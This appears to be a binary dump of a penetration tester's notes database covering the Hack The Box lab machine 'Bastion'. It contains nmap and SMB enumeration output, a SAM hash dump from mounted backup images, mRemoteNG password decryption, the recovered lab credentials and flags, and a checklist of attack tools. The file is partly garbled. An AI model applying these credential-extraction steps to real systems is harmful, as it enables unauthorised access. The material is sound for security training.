SQLite format 3 @ ' -
Y /C indexsqlite_autoindex_children_1children tableimageimageCREATE TABLE image (
node_id INTEGER,
offset INTEGER,
justification TEXT,
anchor TEXT,
png BLOB,
filename TEXT,
link TEXT,
time INTEGER
)
wtablegridgridCREATE TABLE grid (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
col_min INTEGER,
col_max INTEGER
)btablecodeboxcodeboxCREATE TABLE codebox (
node_id INTEGER,
offset INTEGER,
justification TEXT,
txt TEXT,
syntax TEXT,
width INTEGER,
height INTEGER,
is_width_pix INTEGER,
do_highl_bra INTEGER,
do_show_linenum INTEGER
)mtablenodenodeCREATE TABLE node (
node_id INTEGER UNIQUE,
name TEXT,
txt TEXT,
syntax TEXT,
tags TEXT,
is_ro INTEGER,
is_richtxt INTEGER,
has_codebox INTEGER,
has_table INTEGER,
has_image INTEGER,
level INTEGER,
ts_creation INTEGER,
ts_lastsave INTEGER
)'; indexsqlite_autoindex_node_1node
'
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CXk#'
Enumerationcustom-colors*A?&s.=ui '
10.x.x.xnmap -sC -sV -oA ./Bastion 10.10.10.134
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-27 16:07 EDT
Nmap scan report for 10.10.10.134
Host is up (0.063s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft k '
10.x.x.xcustom-colorsA" A
&Ia n
)'
Other Servicescustom-colorsXA[Adk '
"CMScustom-colors$A[Y)A[Y}xn'
!WebDavcustom-colors$A[W;A[X2v)'
Dirb\DirBustercustom-colors$A?&xA[V1
m'
Niktocustom-colors$A?&oA?&l%'
Web Servicescustom-colors"A?&Nk'
UDPcustom-colors$A?&ЍA[?Lk'
TCPcustom-colors$A?&A[>CX
D Dqq q ) '
SMBkali@kali:~/Desktop/Bastion$ smbclient -L //10.10.10.134
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
kali@kali:~/Desktop/Bastion$ smbclient -N //10.10.10.134/Backups
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 16 06:02:11 2019
.. D 0 Tue Apr 16 06:02:11 2019
note.txt AR 116 Tue Apr 16 06:10:09 2019
SDT65CB.tmp A 0 Fri Feb 22 07:43:08 2019
WindowsImageBackup D 0 Fri Feb 22 0 #
X # X /]'
Running ProcessesProcess Listcustom-colors$AIwq&#w'
File SystemWriteable Files\Directories
Directory List
custom-colors$A[3QZ-U'
Host InformationOperating System
Architecture
Domain
Installed Updates
custom-colors$A[4*
O O\ O
G'
NetworkIPConfig\IFConfig
Network Processes
ARP
DNS
Routecustom-colors$A[*܁p)'
Users & GroupsUsers
Groupscustom-colors$A[k׀.9q'
Installed ApplicationsInstalled Applicationscustom-colors$AILg
^ O +U'
Priv EscalationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Contents of C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES
" BlockCipherMode="GCM" Kd )c'
Scheduled JobsScheduled Taskscustom-colors$ANl
0 0I ' }'
PasswordsUser - L4mpje - bureaulampje
Administrator - thXLHM96BeKL0ER2custom-colors$A"o #g'
Goodiescustom-colorsVA?& cI /1'
Proof\Flags\OtherUser - L4mpje - 9bfe57d5c3309db3a151772f9d86c6cd
Root - 958850b91811676ed6620a9c430e65c8custom-colors$A" u/9'
Software VersionsSoftwares'
Hashes*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
custom-colors$A WX ich_text>Individual Host Scanning
☐ nmap --top-ports 20 --open -iL iplist.txt
☐ nmap -sS -A -sV -O -p- ipaddress
☐ nmap -sU ipaddress
Service Scanning
WebApp
☐ Nikto
☐ dirb
☐ dirbuster
☐ wpscan
☐ dotdotpwn
☐ view source
☐ davtest\cadevar
☐ droopscan
☐ joomscan
☐ LFI\RFI Test
Linux\Windows
☐ snmpwalk -c public -v1 ipaddress 1
☐ smbclient -L //ipa ddress
☐ showmount -e ipaddress port
☐ rpcinfo
☐ Enum4Linux
Anything Else
☐ nmap scripts (locate *nse* | grep servicename)
☐ hydra
☐ MSF Aux Modules
☐ Download the softward
Exploitation
☐ Gather Version Numbes
☐ Searchsploit
☐ Default Creds
☐ Creds Previously Gathered
☐ Download the software
Post Exploitation
Linux
☐ linux-local-enum.sh
☐ linuxprivchecker.py
☐ linux-exploit-suggestor.sh
☐ unix-privesc-check.py
Windows
☐ wpc.exe
☐ windows-exploit-suggestor.py
☐ windows_privesc_check.py
☐ windows-privesc-check2.exe
Priv Escalation
☐ acesss internal services (portfwd)
☐ add account
Windows
☐ List of exploits
Linux
☐ sudo su
☐ KernelDB
☐ Searchsploit
Final
☐ Screenshot of IPConfig\WhoamI
☐ Copy proof.txt
☐ Dump hashes
☐ Dump SSH Keys
☐ Delete filescustom-colorsANl< A[ڸ.,
/9'
Software VersionsSoftware Versions
Potential Exploitscustom-colorsANlH{x( #i'
MethodologyNetwork Scanning
☐ nmap -sn 10.11.1.*
☐ nmap -sL 10.11.1.*
☐ nbtscan -r 10.11.1.0/24
☐ smbtree
custom-colorsAןbh '
Log Bookcustom-colors(AI^ -ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -19m44s, deviation: 34m37s, median: 14s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-03-27T21:08:36+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-27T20:08:39
|_ start_date: 2020-03-27T20:06:17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.60 seconds
custom-colors*AןTq&
V ~ Vl'
Othercustom-colorsA[EϯA[Tc i
'
DBcustom-colorsA[EA[Selk '
SNMPcustom-colorsA[DԢA[G!B %w'
ExploitationService Exploited:
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Exploit Code Used
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,A[AF fIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QF
ZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0
-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settin
gs" Port="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="Encr
Basic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="false" LoadBalanceI
nfo="" Colors="Colors16Bit&quo t; Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" Displa
yThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectD
iskDrives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="
DoNotPlay" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddr
ess="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCP
roxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColN
ormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="N ever" RDGatewayHostname="
" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" Inhe
ritCacheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" Inher
itDisplayWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" Inher
itDomain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" Inher
itProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false
" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRed
irectSound="false" InheritSoundQuality="false" InheritResolution="false" ; InheritAutomaticResize="false" Inh
eritUseConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="fal
se" InheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeo
ut="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" Inher
itPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCom
pression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritV
NCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="fals
e" InheritVNCColors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly=" false" InheritRDGatewayUsag
eMethod="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRD
GatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
<Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48
c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXy
bLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" P
ort="3389" ConnectToConsole="false" UseCredSsp="true" RenderingEngine="IE" ICAEncryptionStrength="EncrBasic
" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout=& quot;false" LoadBalanceInfo="
" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayThem
es="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDr
ives="false" RedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNot
Play" SoundQuality="Dynamic" RedirectKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="
" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyT
ype="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPassword="" VNCColors="ColNormal
" VNCSmartSizeMode="Sm !artSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname="" RDG
atewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCa
cheBitmaps="false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDis
playWallpaper="false" InheritEnableFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDom
ain="false" InheritIcon="false" InheritPanel="false" InheritPassword="false" InheritPort="false" InheritPro
tocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" InheritRedirectKeys="false" Inh
eritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRedirect
Sound="false&quo "t; InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritU
seConsoleSession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" I
nheritICAEncryptionStrength="false" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="f
alse" InheritRDPAlertIdleTimeout="false" InheritLoadBalanceInfo="false" InheritPreExtApp="false" InheritPos
tExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtApp="false" InheritVNCCompress
ion="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" InheritVNCPro
xyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" In
heritVNCColors="fals e" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMeth
od="false" InheritRDGatewayHostname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatew
ayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />
</mrng:Connections>
Exploit Code Used
sudo git clone https://github.com/haseebT/mRemoteNG-Decrypt
python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjN
Password: thXLHM96BeKL0ER2
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colorsA!Vff $7:44:02 2019
7735807 blocks of size 4096. 2763498 blocks available
smb: \> cd WindowsImageBackup\
smb: \WindowsImageBackup\> ls
. D 0 Fri Feb 22 07:44:02 2019
.. D 0 Fri Feb 22 07:44:02 2019
L4mpje-PC D 0 Fri Feb 22 07:45:32 2019
7735807 blocks of size 4096. 2763498 blocks available
smb: \WindowsImageBackup\> cd L4mpje-PC\
smb: \WindowsImageBackup\L4mpje-PC\> ls
. D 0 Fri Feb 22 07:45:32 2019
.. D 0 Fri Feb 22 07:45:32 2019
Backup 2019-02-22 124351 D 0 Fri Feb 22 07:45:32 2019
Catalog D 0 Fri Feb 22 07:45:32 2019
MediaId A 16 Fri Feb 22 07:44:02 2019
SPPMetadataCache D 0 Fri Feb 22 07:45:32 2019
7735807 blocks of s %ize 4096. 2763498 blocks available
smb: \WindowsImageBackup\L4mpje-PC\>
smb: \WindowsImageBackup\L4mpje-PC\> cd "Backup 2019-02-22 124351"\
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> ls
. D 0 Fri Feb 22 07:45:32 2019
.. D 0 Fri Feb 22 07:45:32 2019
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd A 37761024 Fri Feb 22 07:44:03 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd A 5418299392 Fri Feb 22 07:45:32 2019
BackupSpecs.xml A 1186 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml A 1078 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml A 8930 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml A 6542 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d 07-adb0-3bee2926fd7f.xml A 2894 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml A 1488 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml A 1484 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml A 3844 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml A 3988 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml A 7110 Fri Feb 22 07:45:32 2019
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml A 2374620 Fri Feb 22 07:45:32 2019
7735807 blocks of size 4096. 2763498 blocks available
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\>
custom-colorsA[PA -Ĝ
,%'
ExploitationService Exploited: Backup Files
Vulnerability Type:
Exploit POC:
Description:
Discovery of Vulnerability
Used guestmount to mount the VHD files found and obtained L4mpje credentials from the SYSTEM/SAM dump
Exploit Code Used
samdump2 SYSTEM SAM
Proof\Local.txt File
☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel
custom-colors,A B̋D
d v)'
Script Resultscustom-colorsXAIZ|xAIǁ/Q'
Post ExploitationFOUND mRemoteNG - Stored Credential Leakcustom-colors*A!Гu